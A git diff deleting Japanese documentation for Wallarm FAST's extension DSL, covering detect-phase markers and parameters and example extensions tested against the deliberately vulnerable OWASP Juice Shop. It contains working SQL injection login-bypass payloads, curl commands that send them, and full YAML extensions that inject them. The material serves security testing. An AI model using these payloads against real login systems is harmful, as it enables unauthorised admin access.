`threat: 20` - - ![検出された脆弱性の一覧][img-vulns] - -* `description` — 拡張機能が検出する脆弱性の説明を含む任意の文字列パラメータです。この情報は脆弱性の詳細に表示されます。 - - ??? info "例" - `description: "A demonstrational vulnerability"` - - ![WallarmのWebインターフェースにおける脆弱性の詳細表示][img-vuln-details] - -!!! info "FAST拡張機能の組み込み" - 拡張機能をFASTに組み込むには、拡張機能のYAMLファイルを含むディレクトリをFASTノードのDockerコンテナにマウントする必要があります。マウント手順の詳細については、この[リンク][link-extensions]をご覧ください。 \ No newline at end of file diff --git a/docs/latest-ja/fast/dsl/detect/markers.md b/docs/latest-ja/fast/dsl/detect/markers.md deleted file mode 100644 index 69e5a3ada1..0000000000 --- a/docs/latest-ja/fast/dsl/detect/markers.md +++ /dev/null @@ -1,21 +0,0 @@ -# マーカーを用いたDetectフェーズの動作 -マーカーは、テストリクエストによって脆弱性が悪用されたかどうかを確認するための有用な手段です。マーカーは、detectセクションのパラメータの大部分に挿入できます。 - -現在、FAST拡張機能は次のマーカーをサポートしています: -* 文字列マーカー`STR_MARKER`は、ランダムな記号で構成される文字列です。 - - ペイロードの一部として`STR_MARKER`を送信すると、レスポンス内でそれを検出した場合、対象アプリケーションへの攻撃が成功したことを意味する場合があります。 - - 例えば、サーバーのレスポンスHTMLマークアップに`alert`が含まれていても、それだけではアプリケーションに脆弱性があるとは限りません。サーバーが``を生成することがあります。レスポンス内に`alert`（`STR_MARKER`）が存在する場合、それは文字列マーカーを含むペイロードを用いたテストリクエストに対するレスポンスであることを意味します（すなわち、脆弱性の悪用に成功しています）。 - - この文字列マーカーは主にXXSの脆弱性を悪用するために使用されます。 - -* 数値マーカー`CALC_MARKER`は、脆弱性の悪用中に計算される可能性がある算術式です。 - - ペイロードの一部として`CALC_MARKER`を送信すると、レスポンス内で計算結果を検出した場合、対象アプリケーションへの攻撃が成功したことを意味する場合があります。 - - この数値マーカーは主にRCEの脆弱性を悪用するために使用されます。 - -* `DNS_MARKER`は、`abc123.wlrm.tl`のようなランダムに生成されるドメイン名です。対象アプリケーションは、この名前をIPアドレスに解決しようとする場合があります。 - - ペイロードの一部として`DNS_MARKER`を送信すると、生成されたドメイン名へのDNSリクエストを検出した場合、対象アプリケーションへの攻撃が成功したことを意味する場合があります。 \ No newline at end of file diff --git a/docs/latest-ja/fast/dsl/detect/parameters.md b/docs/latest-ja/fast/dsl/detect/parameters.md deleted file mode 100644 index 882a8e652d..0000000000 --- a/docs/latest-ja/fast/dsl/detect/parameters.md +++ /dev/null @@ -1,455 +0,0 @@ -[link-markers]: markers.md - -[img-oob]: ../../../images/fast/dsl/en/phases/detect/oob.png -[img-response]: ../../../images/fast/dsl/en/phases/detect/response.png -[img-http-status]: ../../../images/fast/dsl/en/phases/detect/http-status.png -[img-headers]: ../../../images/fast/dsl/en/phases/detect/headers.png -[img-body]: ../../../images/fast/dsl/en/phases/detect/body.png -[img-html]: ../../../images/fast/dsl/en/phases/detect/html.png - -[anchor1]: #oob - -# Detectフェーズのパラメータ説明 - -!!! warning "Detectフェーズでの脆弱性の検出" - サーバーのレスポンスを用いてDetectフェーズで脆弱性を検出するには、レスポンスが`response`パラメータで説明されているレスポンス要素のいずれかを含むか、`oob`パラメータで説明されているOut-of-Band DNSマーカーのいずれかがトリガーされる必要があります（アウトオブバンドマーカーの詳細は[下記][anchor1]を参照してください）。それ以外の場合は、脆弱性は見つからなかったと見なします。 - -!!! info "マーカーの動作ロジック" - Detectフェーズがサーバーのレスポンス内で任意のペイロードのマーカーを検出した場合、攻撃は成功、つまり脆弱性の悪用に成功したと見なします。マーカーを用いたDetectフェーズの動作の詳細は、この[リンク][link-markers]を参照してください。 - -## OOB - -`oob`パラメータは、テストリクエストによってOut-of-Bandマーカーがトリガーされたかどうかを確認します。 - -![`oob`パラメータの構造][img-oob] - -!!! info "サーバー応答でのOOBマーカーの検出" - サーバーのレスポンスでOOBマーカーが検出された場合、対象アプリケーションに脆弱性が見つかったと見なします。 - -* `oob`のみを指定した場合、少なくとも1つのOut-of-Bandマーカーがトリガーされることを想定します。 - - ``` - - oob - ``` - -* トリガーを確認するOut-of-Bandマーカーの種類を明示的に指定することもできます。 - - 少なくとも`DNS_MARKER`マーカーが1回トリガーされることを想定します: - - ``` - - oob: - - dns - ``` - - !!! info "利用可能なOOBマーカー" - 現在利用可能なOut-of-Bandマーカーは1種類のみで、`DNS_MARKER`です。 - -!!! info "Out-of-Band攻撃メカニズム" - Out-of-Band（リソース読み込み）攻撃メカニズムは、その名称が示すとおりの動作です。攻撃の実行時、攻撃者はサーバーに外部ソースから悪意のあるコンテンツをダウンロードさせます。 - - 例えば、OOB DNS攻撃を行う場合、攻撃者は次のように``タグにドメイン名を埋め込むことができます: ``。 - - サーバーがこの悪意のあるリクエストを受け取ると、DNSを使用してドメイン名を解決し、攻撃者が制御するリソースにアクセスします。 - -## Response - -このパラメータは、テストリクエストに対するサーバーのレスポンスに必要な要素が含まれているかどうかを確認します。これらの要素の少なくとも1つが見つかった場合、脆弱性が検出されたと見なします。 - -![`response`パラメータの構造][img-response] - -* レスポンスは何らかのマーカーを含んでいる必要があります。 - - ``` - - response - ``` - -### HTTPステータスのチェック - -![`HTTPステータス`パラメータの構造][img-http-status] - -* レスポンスは特定のHTTPステータスを含んでいる必要があります。 - ``` - - response: - - status: value - ``` - - ??? info "例" - `- status: 500` — ステータスは`500`である必要があります。 - - `- status: '5\d\d'` — この正規表現は`5xx`のすべてのステータスをカバーします。 - -* レスポンスは、リストのいずれかのHTTPステータスを含んでいる必要があります。 - - ``` - - response: - - status: - - value 1 - - … - - value S - ``` - - ??? info "例" - HTTPステータスは次の値のいずれかである必要があります: `500`、`404`、または任意の`2xx`ステータス。 - - ``` - - response: - - status: - - '500' - - '404' - - '2\d\d' - ``` - -### HTTPヘッダーのチェック - -![`headers`パラメータの構造][img-headers] - -* レスポンスヘッダーは何らかのマーカーを含んでいる必要があります。 - - ``` - - response: - - headers - ``` - -* レスポンスヘッダーは特定のデータを含んでいる必要があります（`value`は正規表現でもかまいません）。 - - ``` - - response: - - headers: value - ``` - - ??? info "例" - * HTTPヘッダーのうち少なくとも1つが`qwerty`を部分文字列として含んでいる必要があります。 - - ``` - - response: - - headers: "qwerty" - ``` - - * この正規表現は数値の値を持つ任意のヘッダーをカバーします。 - - ``` - - response: - - headers: '\d+' - ``` - -* 特定のレスポンスヘッダーが特定のデータを含んでいる必要があります（`header_#`および`header_#_value`は正規表現でもかまいません）。 - - ``` - - response: - - headers: - - header_1: header_1_value - - … - - header_N: header_N_value - ``` - - ??? info "例" - `Cookie`ヘッダーは`uid=123`というデータを含んでいる必要があります。`X-`で始まるすべてのヘッダーはいかなるデータも含まない必要があります。 - - ``` - - response: - - headers: - - "Cookie": "uid=123" - - 'X-': "" - ``` - -* 特定のレスポンスヘッダーが、指定されたリストのデータのいずれかを含んでいる必要があります（`header_#`および`header_#_value_#`は正規表現でもかまいません）。 - - ``` - - response: - - headers: - - header_1: - - header_1_value_1 - - … - - header_1_value_K - - … - - header_N: - - header_N_value_1 - - … - - header_N_value_K - ``` - - ??? info "例" - `Cookie`ヘッダーは次のいずれかのデータを含んでいる必要があります: `"test=qwerty"`、`"uid=123"`。`X-`で始まるすべてのヘッダーはいかなるデータも含まない必要があります。 - - ``` - - response: - - headers: - - "Cookie": - - "uid=123" - - "test=qwerty" - - 'X-': "" - ``` - -* Detectフェーズは、特定のヘッダーがサーバーのレスポンスに存在しないことをチェックすることもできます。そのためには、そのヘッダーの値に`null`を設定します。 - - ``` - - response: - - headers: - - header_X: null - ``` - -### HTTPレスポンスボディのチェック - -![`body`パラメータの構造][img-body] - -* レスポンスボディは何らかのマーカーを含んでいる必要があります。 - - ``` - - response: - - body - ``` - -* レスポンスボディは特定のデータを含んでいる必要があります（`value`は正規表現でもかまいません）。 - - ``` - - response: - - body: value - ``` - - ??? info "例" - レスポンスボディは`STR_MARKER`または`demo_string`のいずれかの部分文字列を含んでいる必要があります。 - - ``` - - response: - - body: 'STR_MARKER' - - body: 'demo_string' - ``` - -### HTMLマークアップのチェック - -![`html`パラメータの構造][img-html] - -* HTMLマークアップは`STR_MARKER`を含んでいる必要があります。 - - ``` - - response: - - body: - - html - ``` - -* レスポンス内のHTMLタグは`STR_MARKER`を含んでいる必要があります。 - - ``` - - response: - - body: - - html: - - tag - ``` - -* レスポンス内のHTMLタグは特定のデータを含んでいる必要があります（`value`は正規表現でもかまいません）。 - - ``` - - response: - - body: - - html: - - tag: value - ``` - - ??? info "例" - レスポンスのHTMLマークアップは`a`タグを含んでいる必要があります。 - - ``` - - response: - - body: - - html: - - tag: 'a' - ``` - -* レスポンス内のHTMLタグは、指定されたリストのいずれかのデータを含んでいる必要があります（`value_#`は正規表現でもかまいません）。 - - ``` - - response: - - body: - - html: - - tag: - - value_1 - - … - - value_R - ``` - - ??? info "例" - レスポンスのHTMLマークアップは次のいずれかのタグを含んでいる必要があります: `a`、`img`、`tr`。 - - ``` - - response: - - body: - - html: - - tag: - - 'a' - - 'img' - - 'tr' - ``` - -* レスポンスのHTML属性は`STR_MARKER`を含んでいる必要があります。 - - ``` - - response: - - body: - - html: - - attribute - ``` - -* HTML属性は特定のデータを含んでいる必要があります（`value`は正規表現でもかまいません）。 - - ``` - - response: - - body: - - html: - - attribute: value - ``` - - ??? info "例" - レスポンスのHTML属性は、部分文字列として`abc`か、計算マーカーのいずれかを含んでいる必要があります。 - - ``` - - response: - - body: - - html: - - attribute: '(abc|CALC_MARKER)' - ``` - -* レスポンスのHTML属性は、指定されたリストのいずれかのデータを含んでいる必要があります（`value_#`は正規表現でもかまいません）: - - ``` - - response: - - body: - - html: - - attribute: - - value_1 - - … - - value_F - ``` - - ??? info "例" - HTMLマークアップは次のいずれかの属性を含んでいる必要があります: `src`、`id`、`style`。 - - ``` - - response: - - body: - - html: - - attribute: - - 'src' - - 'id' - - 'style' - ``` - -!!! info "`attribute`パラメータの短縮形" - `attribute`パラメータの代わりに、短縮形 — `attr`を使用できます。 - -* レスポンスのHREFリンクは`STR_MARKER`を含んでいる必要があります。 - - ``` - - response: - - body: - - html: - - href - ``` - -* レスポンスのHREFリンクは特定のデータを含んでいる必要があります（`value`は正規表現でもかまいません）。 - - ``` - - response: - - body: - - html: - - href: value - ``` - - ??? info "例" - HREFリンクはDNSマーカーを含んでいる必要があります。 - - ``` - - response: - - body: - - html: - - href: 'DNS_MARKER' - ``` - -* レスポンスのHREFリンクは、指定されたリストのいずれかのデータを含んでいる必要があります（`value_#`は正規表現でもかまいません）。 - - ``` - - response: - - body: - - html: - - href: - - value_1 - - … - - value_J - ``` - - ??? info "例" - レスポンスのHREFリンクは、部分文字列として`google`または`cloudflare`を含んでいる必要があります。 - - ``` - - response: - - body: - - html: - - href: - - 'google' - - 'cloudflare' - ``` - -* レスポンスのJavaScriptトークンは`STR_MARKER`を含んでいる必要があります。 - - ``` - - response: - - body: - - html: - - js - ``` - - !!! info "JavaScriptトークン" - JavaScriptトークンとは、``タグ内にある任意のJavaScriptコード片を指します。 - - 例えば、次のスクリプトには`wlrm`という値を持つトークンが含まれます: - - ``` - - - - ``` - -* レスポンスのJavaScriptトークンは特定のデータを含んでいる必要があります（値は正規表現でもかまいません）。 - - ``` - - response: - - body: - - html: - - js: value - ``` - - ??? info "例" - JavaScriptトークンは`wlrm`という値を含んでいる必要があります。 - - ``` - - response: - - body: - - html: - - js: 'wlrm' - ``` - -* レスポンスのJavaScriptトークンは、指定されたリストのいずれかのデータを含んでいる必要があります（`value_#`は正規表現でもかまいません）。 - - ``` - - response: - - body: - - html: - - js: - - value_1 - - … - - value_H - ``` - - ??? info "例" - JavaScriptトークンは`wlrm`または`test`という値を含んでいる必要があります。 - - ``` - - response: - - body: - - html: - - js: - - 'wlrm' - - 'test' - ``` \ No newline at end of file diff --git a/docs/latest-ja/fast/dsl/detect/phase-detect.md b/docs/latest-ja/fast/dsl/detect/phase-detect.md deleted file mode 100644 index 5b54eef9b0..0000000000 --- a/docs/latest-ja/fast/dsl/detect/phase-detect.md +++ /dev/null @@ -1,124 +0,0 @@ -[link-points]: ../points/intro.md -[link-ext-logic]: ../logic.md - -[anchor1]: parameters.md#oob -[anchor2]: parameters.md#response -[anchor3]: parameters.md#checking-the-http-statuses -[anchor4]: parameters.md#checking-the-http-headers -[anchor5]: parameters.md#checking-the-body-of-the-http-response -[anchor6]: parameters.md#checking-the-html-markup - - -# 検出フェーズ - -!!! info "フェーズの範囲" - このフェーズは、どのFAST拡張タイプでも動作させるために必須です（YAMLファイルには`detect`セクションを含める必要があります）。 - - 拡張タイプの詳細は[こちら][link-ext-logic]をご覧ください。 - -!!! info "リクエスト要素の記述構文" - FAST拡張を作成する際に、ポイントを用いて操作する必要があるリクエスト要素を正しく記述するためには、アプリケーションに送信されるHTTPリクエストの構造と、アプリケーションから受信するHTTPレスポンスの構造を理解しておく必要があります。 - - 詳細情報はこの[リンク][link-points]をご確認ください。 - -このフェーズでは、テストリクエストによって脆弱性が正常に悪用されたかどうかを判断するために、サーバーレスポンスで確認するパラメータを指定します。 - -`detect`セクションは次の構造です: - -``` -detect: - - oob: - - dns - - response: - - status: - - value 1 - - … - - value S - - headers: - - header 1: - - value 1 - - … - - value T - - header … - - header N: - - value 1 - - … - - value U - - body: - - html: - - tag: - - value 1 - - … - - value V - - attr: - - value 1 - - … - - value W - - attribute: - - value 1 - - … - - value X - - js: - - value 1 - - … - - value Y - - href: - - value 1 - - … - - value Z -``` - -このセクションにはパラメータの集合が含まれます。各パラメータはレスポンスの単一要素を記述します。いくつかのパラメータは値として他のパラメータの配列を含むことができ、階層を形成します。 - -パラメータには次の特性があり得ます: -* オプションである（リクエストに存在しても存在しなくてもかまいません）。`detect`セクション内のすべてのパラメータはこの特性を満たします。 - - !!! warning "`detect`セクションで必要とされるパラメータに関する注意" - `oob`と`response`の両パラメータはオプションですが、`detect`セクションには少なくとも一方が存在している必要があります。そうでない場合、検出フェーズは動作できません。`detect`セクションには両方のパラメータを含めることもできます。 - -* 値が割り当てられていない場合があります。 - - ??? info "例" - ``` - - response - ``` - -* 文字列または数値として単一の値を持つ場合があります。 - - ??? info "例" - ``` - - status: 500 - ``` - -* 文字列または数値の配列として指定された複数の候補値のいずれかを持つ場合があります。 - - ??? info "例" - ``` - - status: - - 404 - - 500 - ``` - -* 値として他のパラメータを含む場合があります（そのパラメータは配列として指定します）。 - - ??? info "例" - ``` - - headers: - - "Cookie": "example" - - "User-Agent": - - "Mozilla" - - "Chrome" - ``` - -`detect`セクションのパラメータに許容される値は、以下のセクションで説明します: -* [oob][anchor1], -* [response][anchor2], - * [status][anchor3], - * [headers][anchor4], - * [body][anchor5], - * [html][anchor6], - * attr, - * attribute, - * href, - * js, - * tag. \ No newline at end of file diff --git a/docs/latest-ja/fast/dsl/extensions-examples/app-examination.md b/docs/latest-ja/fast/dsl/extensions-examples/app-examination.md deleted file mode 100644 index a7647d4a58..0000000000 --- a/docs/latest-ja/fast/dsl/extensions-examples/app-examination.md +++ /dev/null @@ -1,69 +0,0 @@ -[img-login]: ../../../images/fast/dsl/common/extension-examples/ojs_broken.png -[img-wireshark]: ../../../images/fast/dsl/common/extension-examples/wireshark.png - -[link-juice-shop]: https://www.owasp.org/index.php/OWASP_Juice_Shop_Project -[link-ojs-install-manual]: https://pwning.owasp-juice.shop/companion-guide/latest/part1/running.html - -# サンプルアプリケーションの検証 - -!!! info "アプリケーションに関する補足" - 本ガイドでは、FAST拡張メカニズムの機能を示すため、脆弱な[OWASP Juice Shop][link-juice-shop]アプリケーションを使用します。 - - このアプリケーションのインスタンスが`ojs.example.local`というドメイン名でアクセス可能であることを前提とします。デプロイ済みアプリケーションに別のドメイン名が割り当てられている場合（[インストール手順][link-ojs-install-manual]を参照）、`ojs.example.local`を適切なドメイン名に置き換えてください。 - 正しくFAST拡張を構築するには、脆弱性テストの対象となるWebアプリケーションまたはAPIの動作メカニズム（アプリケーションまたはAPIの内部アーキテクチャ、リクエストとレスポンスの形式、例外処理のロジックなど）を理解する必要があります。 - -OWASP Juice Shopアプリケーションを調査し、脆弱性を悪用できる可能性のある方法をいくつか見つけます。 - -これを行うには、ブラウザーでログインページ（`http://ojs.example.local/#/login`）に移動し、「Email」フィールドに`'`記号を、「Password」フィールドに`12345`というパスワードを入力し、「Log in」ボタンを押します。ブラウザーの開発者ツールまたはWiresharkトラフィックキャプチャソフトウェアを用いると、「Email」フィールドでアポストロフィ記号を使用するとサーバー内部エラーが発生することがわかります。 - -サーバーへのリクエストに含まれるすべての情報を分析すると、次のことがわかります: -* ユーザーがログインを試みると、REST APIメソッド`POST /rest/user/login`が呼び出されます。 -* ログイン資格情報は、以下のとおりJSON形式でこのAPIメソッドに渡されます。 - - ``` - { - "email": "'", - "password": "12345" - } - ``` - -サーバーのレスポンスに含まれるすべての情報を分析すると、`email`と`password`の値が次のSQLクエリで使用されていると結論できます: - -``` -SELECT * FROM Users WHERE email = ''' AND password = '827ccb0eea8a706c4c34a16891f84e7b' -``` - -したがって、OWASP Juice Shopはログインフォームを介したSQLインジェクション攻撃（SQLi）に脆弱である可能性があると推測できます。 - -![OWASP Juice Shopアプリケーションのログインフォーム][img-login] - -!!! info "脆弱性の悪用" - 悪用可能な脆弱性: SQLiです。 - - 公式ドキュメントでは、ログインフォームのemailフィールドに`'or 1=1 -- `を、passwordフィールドに任意の値を入力することでSQLi脆弱性を悪用します。 - - この攻撃の後、Webアプリケーションの管理者としてログインした状態になります。 - - あるいは、既存の管理者のメールアドレスを`email`フィールドの値として含むペイロードを使用できます（`password`フィールドの値は任意で構いません）。 - - ``` - { - "email": "admin@juice-sh.op'--", - "password": "12345" - } - ``` - 脆弱性の悪用が成功したケースをどのように検出するかを理解するため、上記のメールアドレスとパスワードで管理者としてサイトにログインします。Wiresharkアプリケーションを使用してAPIサーバーのレスポンスをキャプチャします: -* レスポンスのHTTPステータス: `200 OK`（ログイン時に問題がある場合、サーバーは`401 Unauthorized`ステータスで応答します）。 -* 認証成功を示すJSON形式のサーバーレスポンス: - - ``` - { - "authentication": { - "token": "some long token", # トークンの値は重要ではありません - "bid": 1, # ユーザーのショッピングカート識別子 - "umail": "admin@juice-sh.op" # ユーザーのメールアドレスはumailパラメータに格納されています - } - } - ``` - -![WiresharkアプリケーションでAPIサーバーのレスポンスをキャプチャ][img-wireshark] \ No newline at end of file diff --git a/docs/latest-ja/fast/dsl/extensions-examples/mod-extension.md b/docs/latest-ja/fast/dsl/extensions-examples/mod-extension.md deleted file mode 100644 index c423b4e4c3..0000000000 --- a/docs/latest-ja/fast/dsl/extensions-examples/mod-extension.md +++ /dev/null @@ -1,211 +0,0 @@ -[link-app-examination]: app-examination.md -[link-points]: ../points/intro.md -[link-using-extension]: ../using-extension.md -[link-meta-info]: ../create-extension.md#structure-of-the-meta-info-section - -[doc-collect-phase]: ../phase-collect.md -[doc-match-phase]: ../phase-match.md -[doc-modify-phase]: ../phase-modify.md -[doc-generate-phase]: ../phase-generate.md -[doc-detect-phase]: ../detect/phase-detect.md - -[link-juice-shop]: https://www.owasp.org/index.php/OWASP_Juice_Shop_Project - - -# 変更用拡張機能の作成 - -本ドキュメントで説明する拡張機能は、受信したベースラインリクエストを変更してペイロードを挿入します。これらのペイロードによって、対象アプリケーション[“OWASP Juice Shop”][link-juice-shop]のログインフォームに存在するSQLi脆弱性を悪用できる可能性があります。 - -## 準備 - -FAST拡張機能を作成する前に、次の手順を実施することを強く推奨します: -1. [拡張機能の対象アプリケーションの挙動を調査します][link-app-examination]。 -2. [拡張機能用のポイント構築の原則を読みます][link-points]。 - - -## 拡張機能の構築 - -拡張機能を記述するファイル（例: `mod-extension.yaml`）を作成し、必要なセクションを記述します。 - -1. [**`meta-info`セクション**][link-meta-info]。 - - 拡張機能が検出を試みる脆弱性の説明を用意します。 - - * 脆弱性ヘッダー: `OWASP Juice Shop SQLi (mod extension)` - * 脆弱性の説明: `Demo of SQLi in OWASP Juice Shop (Admin Login)` - * 脆弱性タイプ: SQLインジェクション - * 脅威レベル: 高 - - 対応する`meta-info`セクションは次のようになります: - - ``` - meta-info: - - type: sqli - - threat: 80 - - title: 'OWASP Juice Shop SQLi (mod extension)' - - description: 'Demo of SQLi in OWASP Juice Shop (Admin Login)' - ``` - -2. **`collect`セクション、[Collectフェーズ][doc-collect-phase]**。 - - ログインを試行すると、REST APIの`POST /rest/user/login`メソッドが呼び出されます。 - - POSTリクエストで渡される各データについて脆弱性のテストは同じ方法で実施されるため、APIに送信されたログイン用の各ベースラインリクエストごとにテストリクエストを作成する必要はありません。 - - APIがログイン用リクエストを受信したときに1回だけ実行されるように拡張機能を設定します。そのために、一意性条件を伴うCollectフェーズを拡張機能に追加します。 - - ログイン用のAPIリクエスト`/rest/user/login`は次の要素で構成されます: - - 1. パスの第1要素の値`rest` - 2. パスの第2要素の値`user` - 3. アクションメソッド`login` - - これらの値を参照する対応するポイントは次のとおりです: - - 1. パスの第1要素: `PATH_0_value` - 2. パスの第2要素: `PATH_1_value` - 3. `login`アクションメソッド: `ACTION_NAME_value` - - これら3要素の組み合わせが一意であることを条件に追加すると、拡張機能はAPIへの最初の`/rest/user/login`ベースラインリクエストに対してのみ実行されます（そのリクエストは一意と見なされ、それ以降のログイン用リクエストは一意ではないと見なされます）。 - - 対応する`collect`セクションを拡張機能のYAMLファイルに追加します。 - - ``` - collect: - - uniq: - - [PATH_0_value, PATH_1_value, ACTION_NAME_value] - ``` - -3. **`match`セクション、[Matchフェーズ][doc-match-phase]**。 - - 作成する拡張機能はログインフォームに含まれる脆弱性を悪用します。そのため、受信したベースラインリクエストが本当にログイン用のAPIリクエストであるかを確認する必要があります。 - - ベースラインリクエストの宛先が次のURI（`/rest/user/login`）の場合にのみ実行されるように拡張機能を設定します。受信したリクエストに必要な要素が含まれているかを確認するMatchフェーズを追加します。これは次の`match`セクションで実現できます: - - ``` - match: - - PATH_0_value: 'rest' - - PATH_1_value: 'user' - - ACTION_NAME_value: 'login' - ``` - -4. **`modify`セクション、[Modifyフェーズ][doc-modify-phase]**。 - - 以下の目的を達成するために、ベースラインリクエストを変更する必要があるとします: - * HTTPヘッダー`Accept-Language`の値を空にします（脆弱性の検出には不要です）。 - * `email`と`password`パラメータの実際の値を中立的な`dummy`値に置き換えます。 - - 上記の目的を満たすようにリクエストを変更する次の`modify`セクションを拡張機能に追加します: - - ``` - modify: - - "HEADER_ACCEPT-LANGUAGE_value": "" - - "POST_JSON_DOC_HASH_email_value": "dummy" - - "POST_JSON_DOC_HASH_password_value": "dummy" - ``` - - !!! info "リクエスト要素記述の構文" - JSON形式で含まれるリクエストデータは``のペアで保存されるため、`email`要素の値を参照するポイントは上記のような形になります。`password`要素の値を参照するポイントも同様の構造です。 - - ポイントの構築方法の詳細は[こちら][link-points]をご覧ください。 - -5. **`generate`セクション、[Generateフェーズ][doc-generate-phase]**。 - - 対象アプリケーションのSQLインジェクション脆弱性を悪用するには、ベースラインリクエストの`email`パラメータの値を置き換えるべきペイロードが2つ知られています: - * `'or 1=1 --` - * `admin@juice-sh.op'--` - - !!! info "変更済みリクエストへのペイロード挿入" - 拡張機能に`modify`セクションが含まれているため、ペイロードは前段で変更済みのリクエストに挿入されます。したがって、最初のペイロードを`email`フィールドに挿入した後、テストリクエストデータは次のようになります: - - ``` - { - "email": "'or 1=1 --", - "password":"dummy" - } - ``` - - 選択したペイロードにより任意のパスワードでログインに成功できるため、パスワードフィールドにペイロードを挿入する必要はありません。Modifyフェーズの適用後、このフィールドは`dummy`値になります。 - - 上記の要件を満たすテストリクエストを作成する`generate`セクションを追加します。 - - ``` - generate: - - payload: - - "'or 1=1 --" - - "admin@juice-sh.op'--" - - into: "POST_JSON_DOC_HASH_email_value" - - method: - - replace - ``` - -6. **`detect`セクション、[Detectフェーズ][doc-detect-phase]**。 - - 管理者権限でのユーザー認証が成功したことを示す条件は次のとおりです: - * レスポンスボディに、値が`1`のショッピングカート識別子パラメータが存在すること。このパラメータはJSON形式で、次のように表れます: - - ``` - "bid":1 - ``` - - * レスポンスボディに、値が`admin@juice-sh.op`のユーザーのメールアドレスパラメータが存在すること。このパラメータはJSON形式で、次のように表れます: - - ``` - "umail":"admin@juice-sh.op" - ``` - - 上記の条件に基づき攻撃の成否を確認する`detect`セクションを追加します。 - - ``` - detect: - - response: - - body: "\"umail\":\"admin@juice-sh.op\"" - - body: "\"bid\":1" - ``` - -!!! info "特殊記号のエスケープ" - 文字列内の特殊記号をエスケープすることを忘れないでください。 - -## 拡張機能ファイル - -これで`mod-extension.yaml`ファイルには、拡張機能の動作に必要なセクションがすべて含まれています。ファイル内容の一覧を以下に示します: - -??? info "mod-extension.yaml" - ``` - meta-info: - - type: sqli - - threat: 80 - - title: 'OWASP Juice Shop SQLi (mod extension)' - - description: 'Demo of SQLi in OWASP Juice Shop (Admin Login)' - - collect: - - uniq: - - [PATH_0_value, PATH_1_value, ACTION_NAME_value] - - match: - - PATH_0_value: 'rest' - - PATH_1_value: 'user' - - ACTION_NAME_value: 'login' - - modify: - - "HEADER_ACCEPT-LANGUAGE_value": "" - - "POST_JSON_DOC_HASH_email_value": "dummy" - - "POST_JSON_DOC_HASH_password_value": "dummy" - - generate: - - payload: - - "'or 1=1 --" - - "admin@juice-sh.op'--" - - into: "POST_JSON_DOC_HASH_email_value" - - method: - - replace - - detect: - - response: - - body: "\"umail\":\"admin@juice-sh.op\"" - - body: "\"bid\":1" - ``` - -## 拡張機能の使用 - -作成した拡張機能の使用方法の詳細は[こちらのドキュメント][link-using-extension]をご覧ください。 \ No newline at end of file diff --git a/docs/latest-ja/fast/dsl/extensions-examples/non-mod-extension.md b/docs/latest-ja/fast/dsl/extensions-examples/non-mod-extension.md deleted file mode 100644 index 3ba1f213a7..0000000000 --- a/docs/latest-ja/fast/dsl/extensions-examples/non-mod-extension.md +++ /dev/null @@ -1,161 +0,0 @@ -[link-meta-info]: ../create-extension.md#structure-of-the-meta-info-section -[link-send-headers]: ../phase-send.md -[link-using-extension]: ../using-extension.md -[link-app-examination]: app-examination.md - -[doc-send-phase]: ../phase-send.md -[doc-detect-phase]: ../detect/phase-detect.md - -[link-juice-shop]: https://www.owasp.org/index.php/OWASP_Juice_Shop_Project - - - -# 変更を行わない拡張の作成 - -本ドキュメントで説明する拡張は、受信ベースラインリクエストを変更してペイロードを挿入することはしません。代わりに、ベースラインリクエストで指定されたホストに対して、あらかじめ定義された2つのテストリクエストを送信します。これらのテストリクエストには、対象アプリケーション[「OWASP Juice Shop」][link-juice-shop]のログインフォームに存在するSQLiの脆弱性を悪用し得るペイロードが含まれています。 - - -## 準備 - -FAST拡張を作成する前に、[対象アプリケーションの挙動を調査する][link-app-examination]ことを強く推奨します。 - - -## 拡張の作成 - -拡張を記述するファイル（例: `non-mod-extension.yaml`）を作成し、必要なセクションを記述します。 - -1. [**`meta-info`セクション**][link-meta-info]。 - - 拡張が検出しようとする脆弱性の説明を用意します。 - - * 脆弱性ヘッダー：`OWASP Juice Shop SQLi (non-mod extension)` - * 脆弱性の説明：`Demo of SQLi in OWASP Juice Shop (Admin Login)` - * 脆弱性タイプ：SQLインジェクション - * 脅威レベル：高 - - 該当する`meta-info`セクションは次のようになります。 - - ``` - meta-info: - - type: sqli - - threat: 80 - - title: 'OWASP Juice Shop SQLi (non-mod extension)' - - description: 'Demo of SQLi in OWASP Juice Shop (Admin Login)' - ``` - -2. **`send`セクション、[Sendフェーズ][doc-send-phase]** - - 対象アプリケーションのSQLインジェクション脆弱性を悪用するには、`email`パラメータの値として次の2つのペイロードを、任意の`password`値とともに送信します。 - - * `'or 1=1 --` - * `admin@juice-sh.op'--` - - それぞれ次を含むテストリクエストを2つ作成できます。 - - * 上記のいずれかの値を持つ`email`パラメータ - * 任意の値を持つ`password`パラメータ - - このサンプルの対象アプリケーション（OWASP Juice Shop）をテストするには、これらのリクエストのうち1つだけを使用すれば十分です。 - - ただし、実アプリケーションのセキュリティテストでは、複数の準備済みテストリクエストを用意しておくと有用です。あるリクエストがアプリケーションの更新や改善により脆弱性を悪用できなくなっても、他のペイロードを用いる別のリクエストが引き続き脆弱性を悪用できる可能性があるためです。 - - 上記の最初のペイロードを用いたリクエストは次のようになります。 - - ``` - curl --request POST --url http://ojs.example.local/rest/user/login \ - --header 'content-type: application/json' \ - --header 'host: ojs.example.local' \ - --data '{"email":"'\''or 1=1 --", "password":"12345"}' - ``` - - 2つ目のリクエストも同様です。 - - ``` - curl --request POST --url http://ojs.example.local/rest/user/login \ - --header 'content-type: application/json' \ - --header 'host: ojs.example.local' \ - --data '{"email":"admin@juice-sh.op'\''--", "password":"12345"}' - ``` - - これら2つのテストリクエストの記述を含む`send`セクションを追加します。 - - ``` - send: - - method: 'POST' - url: '/rest/user/login' - headers: - - 'Content-Type': 'application/json' - body: '{"email":"''or 1=1 --","password":"12345"}' - - method: 'POST' - url: '/rest/user/login' - headers: - - 'Content-Type': 'application/json' - body: '{"email":"admin@juice-sh.op''--","password":"12345"}' - ``` - - !!! info "`Host`ヘッダーに関する注意" - このSQLi脆弱性の悪用には影響しないため、これらのリクエストでは`Host`ヘッダーを省略できます。FASTノードは、受信ベースラインリクエストから抽出した`Host`ヘッダーを自動的に追加します。 - - [こちら][link-send-headers]で、Sendフェーズがリクエストヘッダーをどのように扱うかをご確認ください。 - - 3. **`detect`セクション、[Detectフェーズ][doc-detect-phase]**。 - - 次の条件を満たす場合、管理者権限でのユーザー認証が成功したことを示します。 - - * レスポンスボディに、値が`1`のショッピングカート識別子パラメータが存在すること。パラメータはJSON形式で、次のようになります。 - - ``` - "bid":1 - ``` - - * 